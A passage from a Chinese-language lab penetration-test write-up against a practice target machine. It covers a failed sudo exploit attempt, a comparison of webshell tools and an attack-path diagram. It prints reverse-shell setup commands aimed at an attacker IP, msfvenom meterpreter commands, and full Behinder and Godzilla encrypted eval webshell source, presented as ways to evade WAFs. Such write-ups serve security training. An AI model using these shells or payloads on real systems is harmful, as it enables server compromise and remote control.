&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316113422663.png"&gt;&lt;/p&gt;
&lt;p&gt;glibc 版本太低（Ubuntu 16.04 用的是 2.23），这个 PoC 不适用，换一个不依赖 tcache 的版本：&lt;/p&gt;
&lt;p&gt;bash&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 换 blasty 的版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O blasty.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;unzip blasty.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2021-3156-main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;运行时需要指定目标系统：&lt;/p&gt;
&lt;p&gt;bash&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./sudo-hax-me-a-sandwich
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 会列出支持的目标列表，找 Ubuntu 16.04 对应的编号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;./sudo-hax-me-a-sandwich &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;# 0换成对应编号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316113503940.png"&gt;
没有对应的预设目标，Ubuntu 16.04 + sudo 1.8.16 不在列表里，手动模式需要精确计算偏移量，比较麻烦。&lt;/p&gt;
&lt;p&gt;直接放弃这条路，这台靶机 CVE-2021-3156 实际上打不通，原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;glibc 2.23 太旧，tcache 版不行&lt;/li&gt;
&lt;li&gt;blasty 版没有 Ubuntu 16.04 的预设偏移&lt;/li&gt;
&lt;li&gt;手动计算偏移需要本地调试环境&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="webshell-的常用姿势"&gt;WebShell 的常用姿势
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;1. 反弹 Shell（已用过）&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cp /usr/share/webshells/php/php-reverse-shell.php .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ip\s*=\s*&amp;#39;127\.0\.0\.1&amp;#39;\s*;/ip = &amp;#39;172.168.169.128&amp;#39;;/g; s/port\s*=\s*1234\s*;/port = 4777;/g&amp;#34;&lt;/span&gt; php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. Webacoo&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 安装&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;apt install webacoo -y
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成加密 webshell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;webacoo -g -o shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 连接&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;webacoo -t -u https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;特点：流量经过 base64 编码，绕过简单 WAF。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Weevely&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;weevely generate hacker123 shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 连接&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;weevely https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php hacker123
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;特点：流量混淆，功能强大，自带文件管理/端口扫描/提权建议等模块。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. MSF 生成&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成 meterpreter 反弹 shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;msfvenom -p php/meterpreter/reverse_tcp &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;172.168.169.128 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;4444&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; -f raw &amp;gt; shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# MSF 开监听&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;msfconsole -q -x &lt;span class="s2"&gt;&amp;#34;use multi/handler; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; set payload php/meterpreter/reverse_tcp; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; set LHOST 172.168.169.128; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; set LPORT 4444; run&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;特点：拿到 meterpreter session，功能最强，可直接联动后续提权模块。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 冰蝎（Behinder）&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 冰蝎生成的 PHP shell 固定模板&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; shell.php &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@error_reporting(0);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;session_start();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$key=&amp;#34;e45e329feb5d925b&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$_SESSION[&amp;#39;k&amp;#39;]=$key;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;session_write_close();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$post=file_get_contents(&amp;#34;php://input&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;if(!extension_loaded(&amp;#39;openssl&amp;#39;)){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $t=&amp;#34;base64_decode&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $post=$t($post.&amp;#34;&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; for($i=0;$i&amp;lt;strlen($post);$i++){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $post[$i]=$post[$i]^$key[$i+1&amp;amp;15];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}else{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $post=openssl_decrypt($post,&amp;#34;AES128&amp;#34;,$key);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$arr=explode(&amp;#39;|&amp;#39;,$post);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$func=$arr[0];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$params=$arr[1];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;class C{public function __construct($p){eval($p);}}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@new C($params);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;连接时用冰蝎客户端，密钥默认 &lt;code&gt;e45e329feb5d925b&lt;/code&gt;，流量 AES 加密，绕过 WAF 能力最强。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. 哥斯拉（Godzilla）&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; shell.php &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@session_start();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@set_time_limit(0);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@error_reporting(0);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;function encode($D,$K){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; for($i=0;$i&amp;lt;strlen($D);$i++){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $c=$K[$i+1&amp;amp;15];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $D[$i]=$D[$i]^$c;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; return $D;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$pass=&amp;#39;pass&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$payloadName=&amp;#39;payload&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$key=&amp;#39;3c6e0b8a9c15224a&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;if(isset($_POST[$pass])){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $data=encode(base64_decode($_POST[$pass]),$key);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; if(isset($_SESSION[$payloadName])){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $payload=encode($_SESSION[$payloadName],$key);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; eval($payload);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; echo substr(md5($pass.$key),0,16);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; echo base64_encode(encode(@run($data),$key));
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; echo substr(md5($pass.$key),16);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }else{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; if(stripos($data,&amp;#34;getBasicsInfo&amp;#34;)!==false){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $_SESSION[$payloadName]=encode($data,$key);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;各工具对比：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;工具&lt;/th&gt;
 &lt;th&gt;流量特征&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;th&gt;适用场景&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;反弹Shell&lt;/td&gt;
 &lt;td&gt;明文&lt;/td&gt;
 &lt;td&gt;基础&lt;/td&gt;
 &lt;td&gt;快速拿shell&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Weevely&lt;/td&gt;
 &lt;td&gt;混淆&lt;/td&gt;
 &lt;td&gt;中等&lt;/td&gt;
 &lt;td&gt;有WAF环境&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Webacoo&lt;/td&gt;
 &lt;td&gt;base64&lt;/td&gt;
 &lt;td&gt;中等&lt;/td&gt;
 &lt;td&gt;简单绕过&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MSF&lt;/td&gt;
 &lt;td&gt;可加密&lt;/td&gt;
 &lt;td&gt;最强&lt;/td&gt;
 &lt;td&gt;需要后续提权&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;冰蝎&lt;/td&gt;
 &lt;td&gt;AES加密&lt;/td&gt;
 &lt;td&gt;强&lt;/td&gt;
 &lt;td&gt;企业WAF环境&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;哥斯拉&lt;/td&gt;
 &lt;td&gt;XOR加密&lt;/td&gt;
 &lt;td&gt;强&lt;/td&gt;
 &lt;td&gt;国内靶场常用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="踩坑"&gt;踩坑
&lt;/h2&gt;&lt;h3 id="nmap网络波动问题漏扫"&gt;Nmap网络波动问题漏扫
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;/var/www/http&lt;/code&gt; 网站文件夹下明明有网页的文件&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144205719.png"&gt;&lt;/p&gt;
&lt;p&gt;但是网站无论怎么刷新就是没有，拼接了目录也不行，所以我怀疑是nmap扫漏了端口。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144251153.png"&gt;&lt;/p&gt;
&lt;p&gt;重新扫一下就发现了新端口，其中12380就是网页&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144543833.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144724114.png"&gt;&lt;/p&gt;
&lt;p&gt;点开看网页的源代码，对比就是一个，确定12380端口就是&lt;code&gt;/var/www/http&lt;/code&gt; 网站文件夹下的网站&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145147913.png"&gt;&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机]
 B[靶机]
 C[21端口：FTP泄露用户名]
 
 D[elly的FTP账户]
 E[22端口：SHayslettssh账户]
 F[peter的高权限账户]
 G[root]
 H[139端口：smb服务]
 I[3306端口：mysql服务/12380端口：phpmyadmin服务]
 K[12380端口：Blog博客系统]
 L[定时任务]
 M[666端口:nc服务]

 
 %% 路径关系
 A--&gt;|扫描|B
 B--&gt;|FTP匿名用户登录|C
 C--&gt;|hydra爆破|D
 D--&gt;|ftp下passwd文件泄露用户名hydra爆破|E
 E--&gt;|历史命令泄露密码|F
 F--&gt;|sudo -s直接提权|G
 B--&gt;H--&gt;|smb枚举泄露账户名hydra爆破|E
 E--&gt;|浏览www配置文件发现数据库密码|I
 I--&gt;|数据库密码john爆破|K
 E--&gt;|CVE-2016-4557内核漏洞提权|G
 E--&gt;|CVE-2021-4034内核漏洞提权|G
 E--&gt;L--&gt;|logrotate写入权限|G
 B--&gt;I
 B--&gt;K
 

 K --&gt;|advanced-video插件漏洞LFI获取wpconfig&lt;br&gt;无需登录|I
 K --&gt;|advanced-video插件漏洞LFI获取passwd&lt;br&gt;无需登录| E
 K --&gt;|WP后台上传反弹shell|F
 I--&gt;|mysql写入一句话木马|E
 E--&gt;|linpeas审计代码发现nc服务的运行逻辑|M
 L--&gt;|logrotate修改nc服务逻辑|M--&gt;G
 
	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 %% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

 %% 应用样式
	 A
attack
	 B
public
	 C
public
	 K
public
	 H
public
	 D
public
	 E
internal
	 F
internal
	 G
internal
	 I
public
	 L
internal
	 M
